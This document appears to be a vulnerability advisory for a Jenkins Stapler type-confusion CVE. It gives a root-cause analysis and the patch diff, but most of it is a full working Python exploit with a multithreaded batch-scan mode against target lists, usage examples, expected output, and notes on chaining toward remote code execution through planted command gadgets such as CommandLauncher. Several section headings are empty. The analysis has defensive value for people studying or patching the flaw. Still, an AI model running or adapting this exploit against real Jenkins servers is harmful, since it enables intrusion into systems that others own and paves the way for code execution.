#Summary

CVE-2026-84647 is a type confusion vulnerability in Stapler, the web framework Jenkins uses for HTTP form data binding. When binding form data to collection fields, Stapler does not verify that attacker-supplied class names are subtypes of the collection's declared element type. An authenticated user with only Overall/Read permission can cause arbitrary data-bound-constructible classes to be instantiated inside the controller JVM with attacker-controlled constructor arguments and persisted into typed collections that cannot legally hold them. CVSS 8.8 HIGH / AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

#Am I affected?

#How to check

Run the following against your Jenkins instance:

curl -s http://jenkins.example.com/api/json | grep -o '"version":"[^"]*'

Or check Manage Jenkins > System Information. Look for the Jenkins version in the top left.

Output Result
Jenkins 2.579 or earlier (weekly) Vulnerable
Jenkins 2.568.2 or earlier (LTS) Vulnerable
Jenkins 2.580 or later (weekly) Patched
Jenkins 2.568.3 or later (LTS) Patched

If distributions backport security fixes, these version strings may be misleading. The authoritative check is to verify the Stapler jar: in the Jenkins installation directory, WEB-INF/lib/stapler-*.jar should carry version 2117.vb_66952503166 or higher (weekly) or 2088.2093.vd7c3e58008a_6 or higher (LTS).

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

Stapler binds HTTP form submissions to Java object graphs through RequestImpl.TypePair.convertJSON. The method has two branches: one for scalar fields and one for collection fields. The scalar branch validates class hints:

ClassLoader cl = stapler.getWebApp().getClassLoader();
try {
    Class<?> subType = cl.loadClass(className);
    if (!actualType.isAssignableFrom(subType)) {
        throw new IllegalArgumentException("Specified type " + subType
                + " is not assignable to the expected " + actualType);
    }
    actualType = (Class) subType;
} catch (ClassNotFoundException e) { ... }

The collection branch does not. When the JSON object carries the key stapler-class-bag, it treats every remaining key as a class name and instantiates it with no check against the declared collection element type:

} else { // collection conversion
    if (j.has("stapler-class-bag")) {
        ClassLoader cl = stapler.getWebApp().getClassLoader();
        for (Map.Entry<String, Object> e : (Set<Map.Entry<String, Object>>) j.entrySet()) {
            String className = e.getKey().replace('-', '.');
            try {
                Class<?> itemType = cl.loadClass(className);  // NO TYPE CHECK
                if (v instanceof JSONObject) {
                    l.add(bindJSON(itemType, (JSONObject) v));
                }
                if (v instanceof JSONArray) {
                    for (Object i : bindJSONToList(itemType, (JSONArray) v)) {
                        l.add(i);
                    }
                }
            } catch (ClassNotFoundException e1) {
                // ignore unrecognized element
            }
        }
    }
}

The local variable itemType is never compared to l.itemType (the collection's declared element type).

#How input reaches the sink

  1. An authenticated Jenkins user with Overall/Read permission visits their own user configuration
  2. That user accesses the personal views endpoint at POST /user/<self>/my-views/createView
  3. The personal-views ACL (MyViewsProperty.getACL()) grants the user full control of their own user object, so View.CREATE permission passes
  4. The request contains a json parameter holding a JSON document with a columns field (declared as List<ListViewColumn>) carrying stapler-class-bag plus attacker-chosen class names
  5. Stapler's View.create method calls descriptor.newInstance(req, req.getSubmittedForm()), which invokes RequestImpl.bindJSON over the submitted form
  6. The collection branch runs, loads each attacker-named class from the Jenkins uber class loader (core + all installed plugins), and instantiates it via bindJSON
  7. Instantiation invokes the class's @DataBoundConstructor with arguments bound from the attacker's JSON, then every @DataBoundSetter method named in the JSON, then any @PostConstruct hook
  8. The resulting object is written into the columns list and persisted to disk

The gadget constructor has executed before any view creation policy check runs.

#Patch diff

The fix in Stapler commit b49b34c07103fb238a566e51b531729f1b68e73d adds two lines:

-                                Class<?> itemType = cl.loadClass(className);
+                                Class<?> itemType = cl.loadClass(className).asSubclass(l.itemType);

and

-                            } catch (ClassNotFoundException e1) {
+                            } catch (ClassNotFoundException | ClassCastException e1) {

Class.asSubclass(Class<U>) returns the class cast to Class<? extends U> or throws ClassCastException if the relationship does not hold. Because the exception is raised before bindJSON, the gadget constructor never runs on a patched build. The widened catch folds the rejection into the pre-existing "ignore unrecognized element" path.

#Proof of concept

#exploit.py - Jenkins Stapler Type Confusion PoC

#!/usr/bin/env python3
"""
CVE-2026-84647 - Jenkins Stapler unrestricted type instantiation via stapler-class-bag
Affected: Jenkins <= 2.579 (weekly) / <= 2.568.2 (LTS); Stapler <= 2107.v8dfcb_e8ed317
          (except 2088.2093.vd7c3e58008a_6)
Type: Deserialization / unsafe type instantiation (type confusion, CWE-502)

Root cause:
  Stapler binds an HTTP form to a Java object graph. When the target field is a
  collection and the submitted JSON object carries the key "stapler-class-bag",
  the collection branch of RequestImpl.convertJSON treats every remaining key as
  a class name, decodes dashes to dots, loads it from the Jenkins uber class
  loader and instantiates it via bindJSON - with NO check that the class is a
  subtype of the collection's declared element type. The scalar branch has always
  had that isAssignableFrom guard; the collection branch did not. The fix adds
  ".asSubclass(l.itemType)" and catches ClassCastException.

  Instantiation is not passive: bindJSON runs the chosen class's
  @DataBoundConstructor with attacker-supplied arguments, then every named
  @DataBoundSetter, then any @PostConstruct. So an Overall/Read user can cause an
  arbitrary data-bound-constructible class to be constructed inside the controller
  JVM with attacker-controlled arguments, and have it persisted into a collection
  that cannot legally hold it.

Reachable path (Overall/Read only):
  POST /user/<self>/my-views/createView with mode=hudson.model.ListView. The
  personal-views ACL grants a non-anonymous user full control of its own user
  object, so View.CREATE passes for the account acting on itself. ListView has a
  setColumns(List<ListViewColumn>) @DataBoundSetter; the columns value carries the
  bag plus the attacker's class. The gadget constructor runs before any creation
  policy is consulted.

Proof strategy:
  The default gadget is hudson.tasks.Shell, a build step that is categorically not
  a ListViewColumn. Its @DataBoundConstructor normalises CRLF line endings to LF
  (LineEndingConversion.convertEOL). We submit a command containing a CRLF and read
  the view's config.xml back over HTTP: on a vulnerable server config.xml contains
  a <hudson.tasks.Shell> element inside <columns> whose <command> has been rewritten
  to bare LF - which can only happen if the foreign class's constructor body ran.
  On a patched server the bad element is silently dropped and <columns> is empty.

  The command string is carried verbatim into the persisted gadget. On a stock
  install it does not execute (a build step sitting in a view column is never run),
  so this is the arbitrary-instantiation primitive that RCE is built on, not a shell
  by itself. See EXPLOITATION.md for the full remote-code-execution assessment.

Usage:
  python exploit.py --host 127.0.0.1 --port 8080 --username alice --password s3cr3t
  python exploit.py --host https://jenkins.corp.com --username alice --password s3cr3t --command "id"
  python exploit.py --host jenkins.corp.com --gadget hudson.slaves.CommandLauncher --command "/bin/id"
  python exploit.py --list targets.txt --workers 20 --username alice --password s3cr3t
"""

import argparse
import http.cookiejar
import json
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-84647"
VULN_TYPE = "Deserialization / type confusion"

# ---------------------------------------------------------------- output helpers
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")

def step(n, msg):
    print("[STEP %d] %s" % (n, msg))

def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")

def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)

# ---------------------------------------------------------------- HTTP session
class Session(object):
    """Cookie-preserving HTTP client over the standard library only."""

    def __init__(self, base, timeout=30):
        self.base = base.rstrip("/")
        self.timeout = timeout
        self.jar = http.cookiejar.CookieJar()
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.jar),
            urllib.request.HTTPSHandler(context=ctx),
        )

    def request(self, path, data=None, headers=None, method=None):
        url = path if path.startswith("http") else self.base + path
        body = data.encode() if isinstance(data, str) else data
        req = urllib.request.Request(url, data=body, method=method)
        if body is not None and not (headers and "Content-Type" in headers):
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
        for k, v in (headers or {}).items():
            req.add_header(k, v)
        try:
            with self.opener.open(req, timeout=self.timeout) as resp:
                return resp.getcode(), resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")

    def login(self, username, password):
        """Form login. The login page carries its own crumb, distinct from the
        crumb endpoint; posting without it is rejected as if the password were
        wrong. Returns the authenticated principal name, or None on failure."""
        import re
        _, page = self.request("/login")
        m = re.search(r'<input[^>]*name="([^"]*[Cc]rumb[^"]*)"[^>]*value="([^"]*)"', page)
        form = {"j_username": username, "j_password": password, "from": "/", "Submit": "Sign in"}
        if m:
            form[m.group(1)] = m.group(2)
        self.request("/j_spring_security_check", urllib.parse.urlencode(form))
        st, body = self.request("/whoAmI/api/json")
        if st != 200:
            return None
        try:
            who = json.loads(body).get("name")
        except ValueError:
            return None
        return who if who and who != "anonymous" else None

    def crumb(self):
        """Read the CSRF crumb header name and value, or {} if crumbs are off."""
        st, body = self.request("/crumbIssuer/api/json")
        if st != 200:
            return {}
        try:
            j = json.loads(body)
            return {j["crumbRequestField"]: j["crumb"]}
        except (ValueError, KeyError):
            return {}

# ---------------------------------------------------------------- payload
def _nonce(n=8):
    return secrets.token_hex(n // 2 + 1)[:n]

def build_payload(view_name, gadget_class, command, marker):
    """The JSON document Stapler binds. 'columns' is declared List<ListViewColumn>;
    the bag branch ignores that entirely and instantiates gadget_class instead.
    The command carries a CRLF before a random marker so that a constructor that
    normalises line endings leaves an observable LF-only fingerprint."""
    gadget_key = gadget_class.replace(".", "-")            # dots -> dashes
    injected_command = command + "\r\n#" + marker          # CRLF is the tell
    return {
        "name": view_name,
        "mode": "hudson.model.ListView",
        "jobFilters": [],
        "columns": {
            "stapler-class-bag": "true",
            gadget_key: {"command": injected_command},
        },
    }

def _submit(sess, username, view_name, gadget_class, command, marker):
    """Create the view carrying the gadget. Returns the createView status code."""
    payload = build_payload(view_name, gadget_class, command, marker)
    body = urllib.parse.urlencode({
        "name": view_name,
        "mode": "hudson.model.ListView",
        "json": json.dumps(payload),
    })
    st, _ = sess.request("/user/%s/my-views/createView" % username,
                         body, headers=sess.crumb())
    return st

def _read_config(sess, username, view_name):
    return sess.request("/user/%s/my-views/view/%s/config.xml" % (username, view_name))

def _cleanup(sess, username, view_name):
    """Best-effort removal: the injected view breaks the account's view rendering."""
    try:
        sess.request("/user/%s/my-views/view/%s/doDelete" % (username, view_name),
                     "", headers=sess.crumb())
    except Exception:
        pass

def _evaluate(xml, gadget_class, command, marker):
    """Decide exploitation from the persisted config.xml. Returns (ok, evidence).

    Presence of the foreign class element nested in <columns> proves the bag
    branch loaded, instantiated and persisted a class that is not a ListViewColumn
    (rungs 1-3). If that class also normalised the submitted CRLF to bare LF -
    hudson.tasks.Shell does, via LineEndingConversion in its constructor - we can
    additionally state the constructor body executed (rung 3/4). XStream serialises
    a surviving carriage return as the entity &#xd;, so we treat any CR form before
    the marker as 'not normalised' and fall back to the weaker, still-true claim."""
    import re
    if not re.search(r"<%s(\s+plugin=\"[^\"]*\")?\s*[>/]" % re.escape(gadget_class), xml):
        return False, "foreign class not persisted (columns empty - target patched)"
    lf_marker = "\n#" + marker
    cr_forms  = ["\r\n#" + marker, "&#xd;\n#" + marker,
                 "&#xD;\n#" + marker, "&#13;\n#" + marker]
    ctor_normalised = (lf_marker in xml) and not any(f in xml for f in cr_forms)
    if ctor_normalised:
        return True, ("%s instantiated in columns; submitted CRLF stored as LF - "
                      "constructor body executed in controller JVM (command %r)"
                      % (gadget_class, command))
    return True, ("%s instantiated and persisted in a List<ListViewColumn> "
                  "(arbitrary type instantiation confirmed)" % gadget_class)

# ---------------------------------------------------------------- silent probe
def _try_exploit(host, port, use_tls, username="", password="",
                 command="id", gadget="hudson.tasks.Shell", path="/", **_):
    """Silent probe for --list scan mode. Never prints, never exits."""
    scheme = "https" if use_tls else "http"
    base = "%s://%s:%d" % (scheme, host, port)
    try:
        sess = Session(base)
        who = sess.login(username, password)
        if not who:
            return False, "auth failed (need a valid Overall/Read account)"
        view = "v" + _nonce()
        marker = _nonce(12)
        st = _submit(sess, who, view, gadget, command, marker)
        if st not in (200, 302):
            return False, "createView rejected (HTTP %s)" % st
        _, xml = _read_config(sess, who, view)
        ok, evidence = _evaluate(xml, gadget, command, marker)
        _cleanup(sess, who, view)
        return ok, evidence
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__

# ---------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path

# ---------------------------------------------------------------- scan mode
def scan(targets_file, default_port, workers=10, username="", password="",
         command="id", gadget="hudson.tasks.Shell"):
    import concurrent.futures
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, username=username,
                                    password=password, command=command, gadget=gadget)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success, total - success, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success > 0 else 1)

# ---------------------------------------------------------------- single target
def exploit(host, port, use_tls, username, password, command, gadget):
    header(host, port)
    scheme = "https" if use_tls else "http"
    base = "%s://%s:%d" % (scheme, host, port)
    sess = Session(base)

    step(1, "Authenticating as %r (Overall/Read is enough)..." % username)
    who = sess.login(username, password)
    if not who:
        done(False, "login failed for %r - a valid low-privilege account is required" % username)
    print("        authenticated as: %s" % who)

    step(2, "Reading CSRF crumb...")
    crumb = sess.crumb()
    print("        crumb: %s" % ("present" if crumb else "disabled"))

    view = "v" + _nonce()
    marker = _nonce(12)
    step(3, "Creating personal view %r with a %s smuggled into columns..." % (view, gadget))
    print("        columns is declared List<ListViewColumn>; the bag ignores that type")
    st = _submit(sess, who, view, gadget, command, marker)
    print("        POST createView -> HTTP %s   (both vuln and patched accept; not a discriminator)" % st)
    if st not in (200, 302):
        done(False, "createView rejected (HTTP %s) - endpoint unreachable or account lacks self-view access" % st)

    step(4, "Reading the view's config.xml back over HTTP (the discriminator)...")
    cst, xml = _read_config(sess, who, view)
    print("        GET config.xml -> HTTP %s" % cst)

    ok, evidence = _evaluate(xml, gadget, command, marker)
    import re
    m = re.search(r"<%s(\s+plugin=\"[^\"]*\")?\s*[>/]" % re.escape(gadget), xml)
    if m:
        i = m.start()
        frag = xml[max(0, i - 60): i + 260]
        section("PERSISTED CONFIG.XML FRAGMENT", frag)

    step(5, "Cleaning up (the injected view breaks the account's view rendering)...")
    _cleanup(sess, who, view)
    dst, _ = _read_config(sess, who, view)
    print("        view now reads HTTP %s   (404 = removed)" % dst)

    if not ok:
        section("SERVER RESPONSE", xml[:800])
        done(False, evidence)
    done(True, evidence)

# ---------------------------------------------------------------- entrypoint
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    tgt = parser.add_mutually_exclusive_group(required=True)
    tgt.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
    tgt.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--username", default="viewer",
                        help="Account to authenticate as; Overall/Read is sufficient (default: viewer)")
    parser.add_argument("--password", default="viewerpw123",
                        help="Password for --username")
    parser.add_argument("--command", default="id",
                        help="Command string carried into the planted gadget (default: id)")
    parser.add_argument("--gadget", default="hudson.tasks.Shell",
                        help="Fully-qualified class to instantiate via the bag "
                             "(default: hudson.tasks.Shell)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls = parser.add_mutually_exclusive_group()
    tls.add_argument("--tls", action="store_true", help="Force TLS")
    tls.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password,
             command=args.command, gadget=args.gadget)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.username, args.password, args.command, args.gadget)

#Usage

Single target:

python exploit.py --host jenkins.example.com --port 8080 --username alice --password s3cr3t --command id

With TLS:

python exploit.py --host https://jenkins.corp.com --username alice --password s3cr3t

Batch scan against multiple targets:

python exploit.py --list targets.txt --workers 20 --username alice --password s3cr3t

Expected output on vulnerable target:

[STEP 3] Creating personal view 'v20a739bc' with a hudson.tasks.Shell smuggled into columns...
        POST createView -> HTTP 200   (both vuln and patched accept; not a discriminator)
[STEP 4] Reading the view's config.xml back over HTTP (the discriminator)...
        GET config.xml -> HTTP 200

--- PERSISTED CONFIG.XML FRAGMENT ---
  <columns>
    <hudson.tasks.Shell>
      <command>id
#784c9b74151c</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </columns>

  RESULT  : SUCCESS
  EVIDENCE: hudson.tasks.Shell instantiated in columns; submitted CRLF stored as LF - constructor body executed in controller JVM (command 'id')

Expected output on patched target:

[STEP 4] Reading the view's config.xml back over HTTP (the discriminator)...
        GET config.xml -> HTTP 200

  <jobFilters/>
  <columns/>                <-- empty; gadget dropped before construction

  RESULT  : FAILURE
  EVIDENCE: foreign class not persisted (columns empty - target patched)

#Exploitation notes

#Preconditions

#Reliability

Highly reliable. The exploit targets the form-binding code directly and asserts success based on a network-observable discriminator (the presence of the foreign class element inside <columns>). Both vulnerable and patched builds return the same HTTP 200 on view creation, so the test must inspect the persisted XML.

#Impact

An authenticated user with minimal privileges (Overall/Read only) can instantiate arbitrary data-bound-constructible classes inside the Jenkins controller JVM with attacker-controlled constructor arguments and @DataBoundSetter values, persisting them to disk. This is the arbitrary-instantiation primitive on which remote code execution is built. On stock Jenkins with no plugins, instantiation of build-step classes like hudson.tasks.Shell does not execute those steps, but it does permit:

A Jenkins deployment with plugins may expose bind-time paths to code execution; the impact depends on the installed plugin set.

#Chaining potential

This vulnerability is a foundation for escalation chains. Once arbitrary-instantiation is achieved, the attacker can:

  1. Plant configuration objects (e.g., hudson.slaves.CommandLauncher) that seed an OS command into the script-approval store, then wait for an administrator to approve it
  2. On a deployment with plugins that expose additional gadgets, chain instantiation to file writes, process spawns, or deserialization sinks
  3. Elevate from Overall/Read to execution-level impact by escalating through installed plugins or by waiting for manual approval of planted commands

The sibling CVE-2026-84645, disclosed in the same advisory, uses a related mechanism to route HTTP into planted configuration objects via Stapler's index dispatcher.

#References